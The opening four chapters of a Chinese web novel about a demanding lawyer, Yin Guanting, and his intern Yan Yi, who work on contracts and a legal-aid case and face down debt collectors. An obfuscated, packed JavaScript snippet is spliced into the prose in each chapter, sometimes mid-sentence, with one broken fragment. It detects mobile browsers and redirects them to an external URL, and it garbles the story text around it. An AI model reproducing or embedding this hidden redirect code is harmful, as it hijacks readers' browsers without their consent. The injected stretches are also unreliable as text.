《律政佳人》 1. 第 1 章 上午九点整，C市环球财富中心的地下停车场。 尹观庭好不容易结束了一个电话，正准备下车，就发现律所主任王信鸿跟他身上装了GPS定位器一样，卡着他结束电话的当口发了一条消息过来：“到了？来1507，开会。” 尹观庭一挑眉，回了一句：“你怎么知道我到了？” 王信鸿：“老夫掐指一算……” 尹观庭：“说人话。” 王信鸿：“……看见了你的车。” 尹观庭：“。” 尹观庭：“我马上上来。” 王信鸿：“OK。” 尹观庭到1507会议室时，王信鸿正独自一人在笔记本电脑上敲敲打打，抬头一见尹观庭进来，顿时“嘶”了一声。 今天是7月5号，C市的气温大概是外边站一会儿就汗流成河的程度，而尹观庭居然还是穿了一身深色正装，戴着同色领带，衣领规规矩矩地扣到最上面一颗。 王信鸿打量了一下他的神情，发现他面色如常、眼神平静，一如既往的俊美斯文，禁欲冷淡，看不出半点热的样子。 “你不嫌热吗？”王信鸿“嘶”完不够，还要多嘴问一句。 尹观庭在他对面坐下，把记事本一摊，握着笔摆出一副记录的样子，肢体语言就是大写的四个字“有事快说”。 王信鸿服气，随口问了问自己挺关心的一个案子：“老张那个案子怎么样了？” 老张是王信鸿的大学同学，区委的干部，两年前为了小舅子的工程签了一个保证合同，结果小舅子工程失败连钱带命一起折了进去。他倒是一死了之，老张不得不背上接近两千万的担保责任，王信鸿之前因为各种事情没办法接这个案子，又不放心别人，最后就交给了尹观庭。 尹观庭声音平静：“他那案子的情况你又不是不知道，除了拖时间还能有什么办法？” 王信鸿叹了口气，虽然早就有预期，但还是忍不住感慨：“也不知道老张之后要怎么办，这么大笔债，他家还有俩孩子呢……” 尹观庭没说话，手中的笔有一下没一下地戳着本子，腕上的银色手表隐隐约约地反射着会议室的灯光，透着种冰冷优雅的质感。 不得不说尹观庭作为一个法律工作者相当合格，任何案子都绝对不掺杂个人感情，袖手旁观冷静的一比。王信鸿知道他这个性子，随口一感慨，也没指望搭茬，接着说起今天的重点：“找你来主要是说下清溪村那个事情，对了，明河郑总那一批民间借贷的案子，搞完了没？” 明河集团是C市首屈一指的地产集团，是两人手上相当优质的客户，只是后来律所越做越大，王信鸿渐渐退出了业务一线，专心做市场，明河集团的案件就都由尹观庭来接手。而郑总是明河的股东之一，人相当难缠，偏偏业余爱好是放贷理财，手里抓了几十张借条，对尹观庭专业能力很是欣赏，一口气把自己手上的借条都交给了尹观庭，美其名曰“相信尹律师会给我一个好的结果。” 尹律师半点不想理他，但谁叫姓郑的和明河大老板关系很不错，大客户不得不给面子，尹观庭捏着鼻子接下了十几个民间借贷的官司。王信鸿真是生怕哪天他烦了直接把卷宗甩郑总脸上。 听到他问，尹观庭缓慢舒了口气：“快了，最后一个的开庭时间还有差不多一个月，终于不用再看郑大款的嘴脸了。” 王信鸿乐了：“我昨天带孩子去吃饭，还碰到了郑大款，恨不得马上把你挖到他们公司，给你开百万年薪。哎，心动不？” 尹观庭一脸冷漠：“你还有事没？” “嚯，你今天够暴躁的，”王信鸿感觉他情绪有点不太对劲，尹观庭虽然性格冷淡，但出于职业需要随时都能装出一副风度翩翩的笑容，这种不耐烦直接外露的表现，基本都是一个原因：“你最近事情很多？” 尹观庭深深看了他一眼，王信鸿懂了，咳了一声，厚着脸皮说道：“你腾腾时间吧，就最近咱们抽空去和宏远的老总谈一下，争取把清溪村的那个项目给弄到手。” 尹观庭揉了揉眉心，想拒绝又不想拒绝，忙是真忙，但清溪村这种大项目，傻了才往外推。 “行吧，下周二明河股东大会，除了那天这两天都行。” “那成，等我消息，”王信鸿得到肯定答复，满意了，想了想还是决定关心一下师弟的工作状态，“要不你还是找个人分担下工作？所里不是刚来一批实习生吗，没看得上的？” 尹观庭揉眉心的手放下了，沉默地看过来。 王信鸿见他这个自闭反应，也沉默了。尹观庭此人，严于律己严以待人，当他的助理得有一颗金刚石纯度的大心脏，尤其是今年刚过一半就骂走了俩助理，更是惹得一众小助理闻风躲百里，这会儿不是没看得上的，是没人敢来。 王信鸿“嘿嘿”尬笑一下，正想转移话题，突然想起来一件事。 “哎，说起这个，你也别带那些几个月的在校生了。李老板那推了一个小师弟给我，今天来入职，本来打算跟着我的，要不让他先跟着你？先说好啊，这可是李老板的弟子，嫡系师弟，你那些毛病收一收，把人骂走了可不好跟李老板交代。” 李老板全名李明光，是王信鸿和尹观庭硕士研究生导师。王信鸿是李教授的得意门生，毕业回到老家C市打拼了几年，拉着几个合伙人创立了现在的天人和律所，因着专业强会来事，很快在C市独占鳌头。李教授带的学生如果有志从事律师行业，专业水平又足够，那一般都会推荐到王信鸿这里来。 既然李明光给了背书，尹观庭也没挑剔什么，再说他最近确实忙得飞起：“你让他下午来找我。” 王信鸿颇不放心地看他一眼，比了个“OK”的手势。又说了说其他合作的案子，才放人回去。 下午两点，埋头工作的尹观庭听到有人敲门，头也不抬地说了一句：“请进。” 门被微微推开，一个陌生但清润的声音响起：“尹律师您好。” 尹观庭一愣，抬头一看，面前站了一个身材修长的年轻男人，皮肤白皙五官精致，线条柔和又不失英气，一双漂亮的丹凤眼微微弯着，顾盼间眼波盈盈，颇有种风情万种的感觉，但他眼神清亮，带着几分开朗的笑意，并不显得轻浮，反而无端让人想起夏日竹林间掩映的清澈溪流。 年轻人迎着他的眼睛，笑了一笑：“我叫严熤，严格的严，火羽立的熤，是火光的意思。王主任让我来跟着您实习，请您以后多指教。” 尹观庭似乎被溪流上跃动的几点阳光晃了一下，停了几秒才说道：“不用这么客气，我也是李老师的学生，叫我师兄就好。” 严熤又笑了一下，半点不见外：“好的师兄，没问题师兄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740049|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹观庭看他一脸轻松，也不由自主地缓和了几分语气，抬手示意严熤坐下，简短地做了一个自我介绍：“尹观庭，主要业务方向是商事交易和建设工程，其他也有接触，但不常做。” 没等严熤礼貌地回应什么，尹观庭立马进入了工作模式：“你在我这里的试用期大概是一个月，一个月后我们互相选择，当然，如果你一个月也不能坚持，那么可以提前告诉我。” 一个月也不能坚持……严熤顿时想起面前这位大佬的某些传说，笑容都僵硬了一下。 尹观庭没注意严熤脸上的古怪，继续说道：“那么我先安排一下你今天下午的工作，第一，两份简单的合同你可以先试着修改一下，下班前给我反馈；第二，接下来有两个案件需要进行庭前准备，你在此之前熟悉案件材料，并且形成自己的思路，本周内我们开会讨论；第三……” 严熤一脸懵地看着他，眼看尹观庭就要说到第四了，赶紧举手打断：“等等等等……” 尹观庭依言停下，一脸平静地看着他。 严熤被看的一激灵，赶紧接上自己的话：“我要记录一下。” 尹观庭点点头，停下来等他记录，等确认严熤已经完成工作记录后，又拿出手机和他加了微信，把需要用到的卷宗交给他，才最后说了一句：“你工作必须满足两个要求，其他随意，第一，明确任务期限的工作必须按时完成，第二，交给我的文件不能存在格式错乱、文字错误等低级错误。明白吗？” 严熤一脸乖巧：“明白。” 得到肯定回答，尹观庭终于收回视线，示意严熤可以走了。 严熤抱着卷宗回到自己工位，忍不住抬头看看不远处尹观庭的办公室，办公室的门关着，透过玻璃门还能隐约看见里面对着电脑忙碌的身影。 其实他现在还有点懵，老实说来律所之前他对律师的忙碌程度不是没有预期，但上班第一天就这么恐怖吗？严熤低头看了看手机备忘录上满满当当的待办事项，突然开始怀疑自己职业规划的正确性。 这时，屏幕上方跳出一个弹窗： 余畅：“闪闪，你入职了没？” 是严熤的发小余畅，俩人一个初中一个高中一个大学，连研究生都是一个寝室，可谓斩不断的孽缘。 严熤回了一句：“入了……” 余畅：“你这是怎么了？不都说你师兄那个律所的待遇氛围都很好吗？” 严熤：“不，事情比较复杂，我没跟着王师兄的团队，我现在在尹师兄手下讨生活。” 余畅：“……我想的那个尹师兄？” 严熤：“对……” 余畅：“……” 余畅：“……据说他今年就骂走了两个助理，你会是第三个吗？” 严熤：“希望不是【流泪猫猫头.jpg】” 余畅：“……” 余畅：“闪闪你自信点！从小就没有你搞不定的人！加油你可以的！” 严熤正打算回他一句什么，尹观庭端着杯子准备去茶水间倒咖啡，正好看见低着头在手机上运指如飞的严熤，他顿时皱了皱眉，走到严熤工位前，敲敲工位挡板，语气十分严厉：“严熤，你很闲吗？工作时间能不能专心一点？” 严熤盯着聊天框里最后一句话陷入了沉默：“……” 不，我觉得我不可以。 2. 第 2 章 尹观庭在李明光学生里乃至R大法学院校友会里都是出了名的传奇。传闻因为要求太多太严格且批评人时言辞淬毒，导致一年换了三个助理，直接在校友会里达成了可远观不可亵玩的高岭之花效果。找工作的同学们一边感叹大佬牛逼，一边诚实的把简历投给了别人。 严熠也是简历另投的众人之一，没想到阴差阳错到了尹观庭手下，第一天就感受到了来自传奇的严格要求，于是一下午都不怎么敢碰手机，沉浸在工作里不可自拔。 尹观庭给他安排工作杂而多，严熤按死线的顺序简单排了排，总算是卡在要下班的点把几个要反馈的合同发发到了尹观庭的邮箱，没过5分钟，尹观庭就给他发了一条微信：“来我办公室一趟。” 这速度快得严熠有种不祥的预感，抱着自己的电脑，深吸一口气，敲门进了尹观庭的办公室。 一进门严熠就感觉有点热，合伙人的办公室虽然另外装了独立的空调，但尹观庭没有开，严熠看了一眼他严严实实的西装，满腔崇敬之情差不多都要溢出来了。 尹观庭见他进来，顺手在桌边某处按了一下，办公室里顿时传来一阵空调运行的“嗡嗡”声。 还没等严熠有什么反应，尹观庭就已经进入了工作模式：“打开你的修改版，我们说一下里面的问题。” 严熠顿时什么想法都忘了，打开文件，摆出一副准备挨训的表情。 尹观庭被他这种乖巧.jpg的坐姿震了一下，险些忘记自己要说什么，缓了几秒才找回思绪：“第四条货款支付，你做了很大的修改，说一下为什么要这么修改。” 严熠谨慎地答到：“我是觉得直接约定先款后货对这种大宗的贸易来说有点冒险，而且师兄你之前给我的模板里，常见的约定也是分期支付，所以我就修改了。” 尹观庭不置可否，平静言道：“这个合同的甲方是这种材料的生产厂家，客户直接从厂家进货会有相应的优惠，这个优惠的代价可能就是需要先款后货，你直接修改了付款方式可能直接导致他们的交易无法进行，这一点你想过吗？” 严熠语塞：“……”当然没想过。 尹观庭继续说道：“所以你需要记住，合同实质性条款的修改要么和我确认要么和客户确认，明确修改程度之后再进行，否则容易出现你这样做无用功的情况。” 严熤下意识辩解了一句：“师兄你之前没说这些条款不能随便修改。” 尹观庭看他一眼：“我还没说你到点可以去吃饭，你吃了吗？” 严熤一哽：“……” 尹观庭：“合同实质性条款需要我给你重复吗？有多重要自己不清楚？什么都要我交待那不如我来改？” 严熤：“……” 【不敢说话.jpg】 尹观庭没再纠缠，滚动鼠标，看向了下一条：“第五条验收……” …… 在两人的一问一答中，时间飞快地来到了七点十五，尹观庭几乎把严熠修改过的每一个地方都说了一遍，严熠看了一眼几乎全部重新修改过的2.0版本合同，一时间无语凝噎。 万万没想到这么几个条款还能说这么多，同时还低估了尹大律师的嘴毒程度，严熠第一天上班就险些产生心里阴影，好在他这个人从小就心宽，自我调适了一会儿就恢复了正常。 出乎他意料的是，尹观庭竟然没有给他一个总结陈词般的教育语录，只是拿出自己的手机看了看，对严熠说道：“差不多了，一会外卖接一下，然后你就回家吧。” 虽然还要帮老板拿外卖，但是终于下班了啊，严熠高高兴兴地出门收拾东西去了。 尹观庭看了看他莫名欢快的背影，捏捏鼻梁，关了办公室的空调，对着电脑继续自己的工作。 C市近些年发展很快，但和帝都等一线城市比起来，差距不小，体现在工作上，就是996远不如帝都严重。时针指向七点二十后，律所这一楼差不多都空了，只有零星几个办公室还亮着灯，整个大楼安静的可以拍鬼片。 尹观庭对这种安静习以为常，他是律所的加班常客，一方面是案子多事情多，而且他也没有固定的助理，很多事情要亲力亲为，另一方面，对他来说回家也是工作，那么在律所也不算是加班。 很快这个安静就被打破了，严熤提着一份外卖进了办公室：“尹师兄，你的外卖。” 尹观庭抬头瞟了一眼，随口说道：“给你点的，辛苦了，你要着急回家可以带回去吃。” 严熤愣了一下，显然没想到是这个展开，他低头看了看包装袋上显眼的春和记logo，C市本地知名连锁店，特色是好吃以及，非常贵。 严熤一般不吃这么贵的东西，但老板请客还省了一顿饭钱，毫无经验的职场小白顿时被收买了，自动忘记下午尹律师挑剔的眼和淬毒的嘴，高高兴兴地道谢，提着外卖回家了。 尹观庭被严熤欢快的语气搞得面色古怪，一般来说按照他带实习生的经验，见识过尹观庭高标准严要求的工作过程后，性格再好也要点时间缓缓，工作结束后面对他难免有些异样，开心成这样的严熤还是头一个。 不知道是性格天生如此还是特别爱吃春和记。 尹观庭脑子里转过这些有的没的，继续沉浸在工作中，王信鸿下午把清溪村项目资料全部发了过来，他得抓紧时间先看看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740050|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >临近十一点，尹观庭结束了今天的工作，顺手从桌子下面拿了一个苹果啃了两口，他这些年饮食不规律弄得有点厌食，调理了挺长一段时间，渐渐养成了晚上不进食的习惯，偶然吃点水果，好处倒是异常明显，整个天人和律所的高级合伙人里，就他一个保持着标准身材，加上那张颜值出众的脸，每次一开会就引得众人羡慕嫉妒恨。 等啃完苹果，尹观庭准备回家的时候，王信鸿的电话来了。 王信鸿开门见山：“那小孩怎么样？” 做事效率还可以，专业能力暂时看不出来，心态倒是挺好，感觉是个吃货，给点好吃的就收买了……尹观庭脑子里冒了一大堆想法，最后给王信鸿回了仨字： “还可以。” 王信鸿深吸一口气，沉默两秒才问道：“还可以是哪种可以？” 尹观庭：“李老板让你问的？” 王信鸿：“你都知道你不给我说详细点！” 尹观庭有点纳闷：“李老板最近这么闲？” 王信鸿：“谁知道，他对这小孩还挺在意的，之前还特地交代让我好好照顾，老头揪着我问一晚上了，你什么时候见李老板这么啰嗦过？” 没见过，但尹观庭素来没有多余的好奇心，十分敷衍地回了一句：“你照实回李老板得了，我睡了。” 被单方面挂了电话的王信鸿有苦说不出，在网线那头长吁短叹，恩师刨根问底，师弟见死不救，人生怎么这么艰难。 严熤完全不知道自己给真正的大老板造成了什么影响，还在地铁上晃晃悠悠，抱着手机和余畅激情网聊。 严熤：其实我觉得吧，尹老板人挺好的，也没有传言那么夸张嘛 余畅：你认真的吗？ 严熤：有个七八分的认真 余畅：据说民商法那个陈师姐因为用错一个标点符号被他骂哭了 严熤：…… 严熤：也不是没有这种可能，尹老板对标点符号就很强迫症，今天我就被说了QAQ 余畅：所以这就是你说的人很好？ 严熤：？难道不是，你看他给我改的这么认真，一般的律师哪儿有这个闲工夫这么教助理。 余畅：……行吧你说了算 余畅：不过说真的，你不是说你明天还要改三份合同吗，而且和今天的不是一个类型，那你明天不是又要来这么一番腥风血雨？ 余畅：【令人悲伤.jpg】 严熤：…… 严熤：敢问余博士，我校博士论文开题需要20万字的文献综述，你老人家开始准备了吗？ 严熤：【笑眯眯.jpg】 余畅：…… 3. 第 3 章 虽然理智上知道不太可能，但尹观庭就是莫名有了个严熤容易被美食收买的印象，考虑到恩师和大师兄对严熤的重点关注，为了避免气走严熤被王信鸿念叨，尹观庭难得有了点额外的心思，自己吃早饭时记得给严熤带一份。 严熤不明所以但欣然接受，在没心没肺的性格和美食伟大的力量下，一晃一个多月过去，虽然工作依然是“挑刺+讽刺”大套餐，但严熤和尹观庭相处的竟然还不错。 “起码这一个月没人见着咱们的小严同志躲卫生间哭，尹律最近修身养性了？”李昀坐在尹观庭对面，对着他挤眉弄眼的。 李昀是王信鸿团队的团队律师之一，属于管理性人才，专业能力如何不好评价，论来事儿绝对一流，全所上下消息十分灵通，堪称天人和百晓生。 尹观庭知道律所的实习生们往往会扎堆吃饭，李昀经常去凑热闹，饭桌上自然就是吐槽老板的好时机，李昀会来事儿嘴还严，不仅会帮吐槽的实习生保密，还会拐弯抹角地给被吐槽的高级律师们提提意见，算是半公开的律所树洞。 听到李昀这么说，不仅是会议室周围准备开会的几位律师，连王信鸿都来了兴趣：“我们律所还有小同志躲在卫生间里哭？” 李昀声情并茂：“那可不是，上次那位小吴律师不就是在卫生间里哭来着吗，岚姐还专门去劝了，回来直说造孽。” 尹观庭抬抬眼：“有这回事？我怎么不知道？” “嗨，这你哪儿能知道，”李昀没被他冷淡的语气吓到，“人就是被你骂哭的，后面不得躲着点你。” “啧啧啧，”王信鸿跟李昀一唱一和，“作孽哦，小吴同志多漂亮一小姑娘，你也真下得了手。” 尹观庭对小吴的印象就停留在一份错误百出的法律意见书上，闻言懒得发表意见，冷漠地把一份Word文件打开投影到会议室大屏幕上：“说正事，这个是送法入社区那个专项的安排，看一下，没意见就按这个来了。” 提起送法入社区，会议室里一片哀鸿遍野，这属于律协的政治任务，不干不行，但是干了吧，对于当事人来说又是一个无聊且费时的工作。 李昀蔫了，有气无力地接了一句：“这能有啥意见，年年岁岁事相似，照旧呗。” 王信鸿看看李昀，再看看会议桌边另外两个榜上有名的律师，大家表情都是出奇一致，无奈之下只能抓典型：“小李你这就不对啊，岁岁年年人不同嘛，还是要安排一下的。哎对了，观庭，严熤你怎么安排的？” 尹观庭一顿：“严熤也要去？” 王信鸿恨得不成钢：“他当然要去！法律培训也是律师的基本功！这专项受众大部分啥都不懂，正好给年轻人锻炼一下，这你都想不到？” 尹观庭沉默，倒也不是想不到，只是下意识忽略了，本来他自己很少做这些带有对外营销性质的业务，包括这个为晏河区各大街道社区进行法律培训的专项，如果不是王信鸿非要拉上他，跟他也没什么关系。 王信鸿到底是亲师兄，一看他表情就知道他在想什么，不由得深深叹气。 尹观庭作为律师其实相当独。高级合伙人大多有自己的团队，尹观庭就是所里唯一的那个例外，大多数时候都是一个人，他助理换得频繁，原因不止是工作吹毛求疵，他本人没什么带助理组团队的心思才是主要因素。不然以前也不是没有忍得住批评的钻石心脏，最后还不是留不下来。 所以在天人和所里，虽然尹观庭每年创收挺恐怖，但大家还是觉得尹观庭更像是王信鸿团队里的高级律师，他大多数复杂的案子都是和王信鸿合作的，杂事自然有王信鸿团队里的人处理，久而久之尹观庭好像形成了习惯，怎样将一名助理培养成合格的律师，对他来说完全是陌生的。 王信鸿见这一个多月以来尹观庭和严熤相处愉快，还以为严熤让尹观庭分出心血来仔细培养，结果现在看来是自己想多了。但严熤是恩师李教授千叮咛万嘱咐要照顾的小师弟，王信鸿只能聊胜于无地再交待一句：“好歹也是小师弟，你平时多少上点心。” 尹观庭反驳不能，点点头算是答应。 王信鸿于是安排李昀：“严熤刚挂上实习证，一个人撑不住场，小李你安排一下，尽量找人和他一起……” 李昀十分眼力见儿：“好勒，我来安排。” 等这个话题过去，尹观庭突然想什么，看向李昀：“上次挂我名下那个法援的案子，是你在处理吗？”看着李昀有些迷茫的表情，他又补充了一句：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740051|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交通事故纠纷，当事人姓杨，是个老太太，七十多了。” “哦！那个啊，”李昀想起来了，“那案子8月底才开庭，现在还早，我还没来得及处理，本来就是打算给团队里几个小崽子练手来着。怎么说，尹律，我把这案子给严熤了？” 尹观庭点头：“嗯，案子虽然不复杂，但还是安排个有经验的律师吧。” 李昀连连点头：“放心放心，我亲自看着，虽然跟你们这些大状比不了，但处理一个交通事故还不简单的吗。” 安排完这件事，尹观庭特地看了一眼王信鸿，以示培养师弟的诚意。 王信鸿十分服气，有气无力地一挥手，开启了下一个议题：“清溪村那个项目，你初步判断怎么样？ 尹观庭收敛起表情，认真道：“不乐观，前期手续就不合格，后面一直没补办上，而且业主方是国资，上次那个领导出事之后，后续事宜处理一直非常小心，走谈判估计没戏，走程序的话，证据不足，而且项目内部经不起细查。总之，宏远想退出，不伤筋动骨估计不大可能了。” 王信鸿“唔”了一声：“明河的小谭总在A市那边谈生意，请了张总吃饭，也叫了我，明天你跟我一起去一趟吧，跟他仔细聊一下，有些事情只能当面聊了。” 尹观庭点头同意。 …… 第二天上午十点半，尹观庭和王信鸿一起乘机到了A市，小谭总安排来接机的人已经到了，俩人正准备出机场，王信鸿就见尹观庭一脸古怪地看着手机。 王信鸿顿感好奇：“怎么了？” 尹观庭顿了顿：“郑总最后那个借贷案件开庭时间定了，严熤去法院把对方证据拿回来了。他刚刚问我在哪儿，要给我看一下。” 王信鸿一脸莫名：“他怎么这会儿找你，你出差他不知道？” 尹观庭瘫着脸跟他对视了一眼，王信鸿突然悟了：“你没告诉他你今天要出差？” 尹观庭难得尴尬，昨天才答应了王信鸿对严熤多上点心，还特地展示了一下，结果今天出差就把人一无所知的丢下了，怎么看怎么不上心。 王信鸿……王信鸿只能再次深深地叹了一口气。 这一个两个的，怎么就能这么不省心呢？ 4. 第 4 章 严熤今天到工位没有发现尹老板包的早餐，于是自己下楼随便买了点吃的，坐在工位上一边吃一边猜测尹观庭这难得一见的晚到是怎么回事，结果下一秒就得知老板自己出差走了。 严熤：“……” 他看了看手边刚带回来的原告证据，一时间有点茫然，犹记得尹大律师昨天最后一个交代是阅卷回来给他看看，那今天怎么人就不见了？ 就在严熤愣神的几分钟，素来不怎么发语音消息的尹观庭直接给他发了两大段语音，一分钟顶格的那种。 严熤莫名有种不详的预感，打开一听，果然，尹大律师出差也不忘给他安排工作，严熤听着语音里的一二三四，突然觉得尹观庭出差也挺好的，虽然工作不会减少，但老板不在总会给人以放假般的虚假安慰。 尹观庭给他安排的最主要的任务就是律协的法律培训和那个法援案件，还特别交代了一下法援案件的处理，这一个月严熤跟着尹观庭虽然没少挨骂，但基本的诉讼处理流程算是学会了，首次接到承办案件的机会，莫名有些激动。 于是他就怀着这种激动的心情，遵照指示去找李昀商讨具体的方案。李昀很是热情，严熤也算半个自来熟，两人你一言我一句，聊得异常愉快，很快，培训和案件的后续工作都安排好了，李昀很是感慨：“可以啊小严，效率很高，不愧是能在大魔王手下混得风生水起的娃。” 严熤一笑：“当我面说我老板的坏话？” 李昀赶紧摇头：“哎哎哎，不兴扣帽子啊，夸你呢怎么回事。” 他这么一说严熤倒有些好奇：“尹律师之前的助理真的都是被骂走的吗？” 李昀表情很是八卦：“也不都是，本质上还是尹律师不怎么想带助理吧，要不是实在忙不过来，他也不会要人帮忙。而且我听说……听说啊，尹律师之前有个关系特别好的美女助理，俩人差点都修成正果了，结果掰了，之后尹律师就不怎么喜欢带助理了。” 严熤想了想尹观庭那张除了工作无欲无求的脸，很是怀疑：“真的假的？” 李昀十分耿直：“那谁知道，八卦还问真假有意思吗？” 严熤：“……造谣过500是要承担责任的你知道吗？” 李昀：“……” 可以，这很专业。 分配到尹观庭名下的法援案件没什么难度，申请人杨琴芳，年龄78岁，无儿无女，靠低保和老伴儿田中禾摆摊维持生活，老伴儿田中禾就是本案的受害人，在早上骑着三轮去摆摊的路上发生了车祸，田中禾当场休克，经过鉴定一级伤残。杨琴芳和老伴儿基本没有存款，受伤治病的钱至今都是医院垫付，联系不上司机，老人求助无门，只好申请了司法援助。简单明了的交通事故赔偿责任，而且有保险公司和出租车公司两个具备赔偿能力的主体，整体而言并不困难。 李昀算是王信鸿团队里的半个行政秘书，平时事情也多，这次算是看在大老板和尹大状的面子上亲自带着严熤做这个案子，严熤虽然不知道这一层关系，但好在他性格谦逊认真，对李昀这个前辈提出指示基本不打折扣地执行完了，倒是让李昀多了几分真心实意的爱才之心。 转眼三天过去，李昀可算抽出时间，准备和严熤一起去当事人家里收集证据，本来这种事情一般都是把人约到律所，但是杨琴芳算是半文盲，极少进城，年纪又大，综合考虑过后两人还是决定自己跑一趟。 杨琴芳住在龙岗村，地处C市北部郊区，以脏乱差穷出名，早年一直是北陵区治安行动的重中之重，经过多年严打之后，龙岗的治安好了很多，相应的，也更加衰落了。北陵区政府一直想整治这块地，但是被各种错综复杂的遗留问题给绊住了，一直至现在，龙岗渐渐成了北陵区低收入人群的聚集地，鱼龙混杂。 龙岗村众多握手楼纵横交错，即使大白天也遮得下方小路不见天日，严熤和李昀两个人，西装革履，一人提着一台笔记本电脑，和龙岗格格不入。整个村庄破败且安静，少有的几个行人也神情恹恹，两人对照着门牌地址弯弯绕绕找了快十分钟，终于到了一栋破破烂烂的楼房面前。 这个两层的房屋挤在两栋高层建筑物中间，直接被楼上非法搭建的各色阳台盖了帽，严熤用手机灯光照了照，只见外墙体已经严重脱落，还染着不明物体留下的奇怪的颜色，门口还趴了一只阿黄，就那么不声不响地看着他们。 李昀“嘶”了一口气，严熤闻声看他：“昀哥你怕狗啊？” 李昀苦着脸：“也不算怕，就是怵得慌。” 那不就是怕，严熤心里吐槽一句，贴心地越过李昀，上前赶了赶阿黄。 阿黄很听话走开几步，严熤敲响了后面的门。 门后传来一句沙哑地女声：“谁啊？” “请问是杨奶奶吗？”严熤扬声，“我们是律师，昨天跟您联系了的。” 门被拉开一条缝，杨琴芳有些警惕地看了一眼门外的两个人，严熤冲她笑了笑，杨琴芳怔愣了一下，随即放松了警惕，拉开门让两人进来。 “律师，我老头儿那个事情能处理不了？” 等两人在不大的屋子中坐定，杨琴芳才有些忐忑地问出这个问题，李昀闻言，十分自然地接过了话题：“之前我们电话里可能说的不太清楚，那就当面跟您分析一下这个事情……” 严熤就在一旁，开着笔记本电脑记录两人谈话的重点，没过多久，杨琴芳的焦虑暂时被李昀安抚住了，准备起身按照李昀说的去找相关的单据。 就在这时，门口的木门突然被暴力推开，门框嗑在墙上的声音把屋内的三个人都吓了一跳。 几个打扮地流里流气的青年人走了进来，看上去不过二十出头，后面的几人一脸稚嫩，看着像是没成年。 为首的黄毛先是看了一眼西装革履的李昀和严熤，接着转向杨琴芳：“老太婆，你还说你没钱，没钱是哪里找来的小白脸？听说还是律师，你家还有钱请得起律师，那怎么没钱还债啊！” 杨琴芳站起身子，有些瑟缩，但或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740052|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是严熤和李昀两个大小伙子给的安全感，她沙哑着声音反驳了一句：“我没欠你们的钱！警察都说了那个不用还。” “嘿，哪个警察说的？我怎么没听到？”为首的黄毛提高了声音，问身后的小弟：“你们听到了没？” 小弟们很给面子地纷纷出声，表示自己没听到。 李昀皱了皱眉，挪了挪脚步到严熤身后，接着严熤的遮挡，快速用短信报了警，错过了严熤陡然阴沉下去的脸色，等他收起手机正准备打圆场时，突然听到面前的严熤开口： “警察说没说过，打个110不就行了，”他上前一步挡住了黄毛看向杨琴芳的视线，“警察来之前，你们最好收敛点，一群大男人欺负个老人，也不嫌丢人。” 严熠虽然穿了一身正装，看上去是个社会人，但毕竟年轻，加上五官精致线条柔和，虽然不至于让人错认性别，但要说有什么威慑力，那就纯属开玩笑了。 何况这话着实没什么力度，眼见严熤伸手拿起了放在矮桌上的手机，黄毛骂了一声脏话，毫不犹豫地上前，一拳挥出，想要打掉严熤手里的手机。 李昀脸色都变了，正想制止，就见严熤突然出手攥住黄毛的手腕，用力一扭，黄毛嘴里的叫骂都变成了惨叫。中气十足的叫声还没到尾音，严熤往后退了一步，用力一扯，黄毛猝不及防地往前一倾身，严熤左边膝盖顺势往上一顶，撞在了他的腹部。这一下力道十足，黄毛没叫完的尾音都噎死在了支气管里，什么声音都没有了，严熤手一放开，他便倒在地上，捂着肚子气若游丝地哼哼。 这一下兔起鹘落，前后没过一秒，整个院子顿时鸦雀无声，所有人都见鬼一样看着严熤。 还没等黄毛的小弟反应过来，严熤顺手抄起杨琴芳放在桌上的水果刀，面无表情地在手上转了一圈，平静地看着黄毛的小弟们：“现在可以等警察过来了吗？” 小弟们看着他手里的刀，再看看地下半死不活哼唧的黄毛，竟然一时间谁都没敢动。 就这么僵持了几分钟，不远处突然传来了刺耳的警笛声，站在最外围的两个小弟对视一眼，二话不说撒腿就跑，一群人飞快地不见了踪影。 